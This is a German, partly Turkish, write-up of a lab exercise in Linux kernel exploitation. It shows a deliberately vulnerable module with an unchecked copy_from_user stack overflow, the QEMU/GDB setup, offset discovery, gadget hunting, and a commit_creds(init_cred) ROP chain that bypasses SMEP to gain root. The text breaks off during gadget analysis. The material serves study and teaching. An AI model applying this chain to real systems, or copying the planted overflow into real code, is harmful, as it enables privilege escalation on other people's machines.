Linux Kernel 6.17 Stack Overflow – SMEP-Bypass via kROP (Türkisches Writeup)
Autor: expo
Repo: https://github.com/exploitbey/kernel-krop-smep-bypass
In diesem Writeup wird untersucht, wie eine Kernel-Stack-Overflow-Schwachstelle auf Linux Kernel 6.17.0-5-generic ausgenutzt werden kann, bei dem SMEP und SMAP aktiv sind. Die klassische ret2user-Methode bleibt gegenüber diesem Schutz wirkungslos. Alternativ wird eine Kernel-ROP-(kROP-)Kette verwendet.
Andere Schutzmechanismen (KASLR, KPTI, Shadow Stack, Stack Canary) sind in dieser Umgebung deaktiviert; der Schwerpunkt liegt ausschließlich auf der SMEP-Bypass-Technik.
SMEP (Supervisor Mode Execution Prevention) ist ein Schutzmechanismus auf Prozessorebene. Der Kernel kann keine Codes in Speicherseiten ausführen, die zum Userspace gehören. Das heißt, wenn Sie Shellcode in einen User-Puffer schreiben und den Kernel dorthin umleiten, unterbricht die CPU Sie sofort.
Das ist der Grund, warum das klassische ret2user stirbt.
Sie können über GDB bestätigen, dass SMEP und SMAP aktiv sind:
info register cr4
Wenn der Wert 0x372ef0 ist, in Binär umwandeln und die Bits ansehen:
0x372ef0 → 0011 0111 0010 1110 1111 0000
Von rechts nach links, beginnend bei Index 0:
| Bitgruppe | Bereich | Bedeutung |
|---|---|---|
| 0000 | 0–3 | — |
| 1111 | 4–7 | Bit 5=PAE, Bit 7=PGE |
| 1110 | 8–11 | Bit 9=OSFXSR, Bit 10=OSXMMEXCPT |
| 0010 | 12–15 | Bit 13=VMXE |
| 0111 | 16–19 | Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE |
| 0011 | 20–23 | Bit 20=SMEP ✓, Bit 21=SMAP ✓ |
Bit 20 gesetzt → SMEP aktiv. Die CPU blockiert die Ausführung von Code auf Ring-3-Seiten aus Ring 0.
Eine Anmerkung: Ab Kernel 5.16 ist das CR4-Register „gepinnt". Früher konnte das SMEP-Bit mit Gadgets im Stil von mov cr4, rax gelöscht werden. Jetzt ist diese Tür geschlossen. Aber das ist nicht wichtig, denn wir werden CR4 überhaupt nicht anfassen.
vmlinuz muss vom Guest zum Host kopiert werden. Nach dem Kopieren in vmlinux_raw umwandeln:
./extract-vmlinux vmlinuz > vmlinux_raw
Skript: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
Die GRUB-Zeile im Gast:
GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"
QEMU-Startbefehl:
qemu-system-x86_64 \
-m 4G \
-enable-kvm \
-cpu host \
-drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
-vga qxl \
-device virtio-serial-pci \
-device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
-chardev spicevmc,id=spicechannel0,name=vdagent \
-display spice-app \
-net nic -net user \
-usb -usbdevice tablet \
-vga virtio \
-s -S
Starten Sie GDB auf dem Host, während das System bootet:
gdb ./vmlinux_raw
# ardından: continue
Quelle: rop.c
__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos) {
char tampon[64];
// ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
if (_copy_from_user(tampon, buf, count)) {
return -EFAULT;
}
return count;
}
Der Buffer ist auf 64 Byte festgelegt. _copy_from_user prüft nie, wie viele Bytes kopiert werden. Es genügt, selbst 65 Byte aus dem Benutzerbereich zu senden; der Kernel-Stack beginnt zu korrumpieren.
Einstiegspunkt des Exploits: /dev/vuln_device
sudo su
make # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko
Kopieren Sie anschließend rop.ko auf den Host (für GDB werden Symbolinformationen benötigt).
x64-Aufrufkonvention: Das erste Argument ist RDI, das zweite RSI, das dritte RDX, das vierte RCX.
Wenn device_write aufgerufen wird, befindet sich die Rücksprungadresse rbp+8 auf dem Kernel-Stack. Unser Ziel ist es, diese Adresse unter Kontrolle zu bringen.
Das LKM wurde mit Debug-Symbolen kompiliert, daher werden wir es mit GDB ordnungsgemäß verfolgen.
Sehen Sie sich im Gast die Moduladressen an:
cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)
cat /sys/module/rop/sections/.text # 0xffffffffc092f000
cat /sys/module/rop/sections/.data # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss # 0xffffffffc0a15640
Drücken Sie im GDB auf dem Host Strg+C, um die Symbole zu laden:
add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640
Breakpoint vor und nach _copy_from_user:
b *0xffffffffc092f059
b *0xffffffffc092f05e
continue
Erstellen Sie mit Metasploit ein 88-Byte-Muster:
msf-pattern_create -l 88
Speichern Sie das Muster als payload.txt, senden Sie es mit find_offset:
gcc -o find_offset find_offset.c
./find_offset payload.txt
Der Kernel wird am Breakpoint anhalten. Notieren Sie sich in GDB den Inhalt von rbp+8. Am zweiten Breakpoint werden Sie sehen, dass rbp+8 mit dem Pattern gefüllt ist.
Berechnen Sie den Offset auf dem Host:
msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72
Die Rücksprungadresse wird ab dem 72. Byte geschrieben.
Warum kann ROP SMEP umgehen? Weil ROP bereits vorhandenen Code im eigenen .text-Bereich des Kernels verwendet. Es führt keinen neuen Code aus. Es berührt den Userspace-Speicher überhaupt nicht. SMEP kann das nicht erkennen.
Speichern Sie die Userspace-Register vor iretq:
__asm__ volatile (
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
::: "memory"
);
"memory" überschreibt kritisch: Wenn GCC diese Werte zwischenspeichert, wird der iretq-Frame beschädigt.
payload[i++] = POP_RDI_RET; // pop rdi ; ret
payload[i++] = INIT_CRED; // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS; // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir
Warum gibt es kein prepare_kernel_cred?
In Kernel 6.17 wurde kein sauberes Register-Transfer-Gadget wie mov rdi, rax ; ret gefunden. init_cred ist ohnehin eine statische Adresse, pop rdi; ret reicht aus. Auch das Payload bleibt klein: 144 Byte.
Gadget-Adressen:
commit_creds und init_cred:
cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds
cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred
pop rdi ; ret → Opcode \x5f\xc3
.text-Bereich:
Başlangıç : 0xffffffff81000000
Boyut : 0x1637970
Bitiş : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3
Die erste Ausgabe 0xffffffff812582bd → in GDB mit x/3i 0xffffffff812582bd verifizieren. Sauberes pop rdi; ret-Array.
swapgs + iretq → Opcodes: 0x0F 0x01 0xF8 und 0x48 0xCF
python3 find_swapgs.py vmlinux_raw
Das Skript gibt zwei Kandidaten zurück. 0xffffffff81001866 enthält zu viele Pops, der Stack wird beschädigt. Untersuchen Sie 0xffffffff8100118f:
0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...] ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne 0xffffffff81001241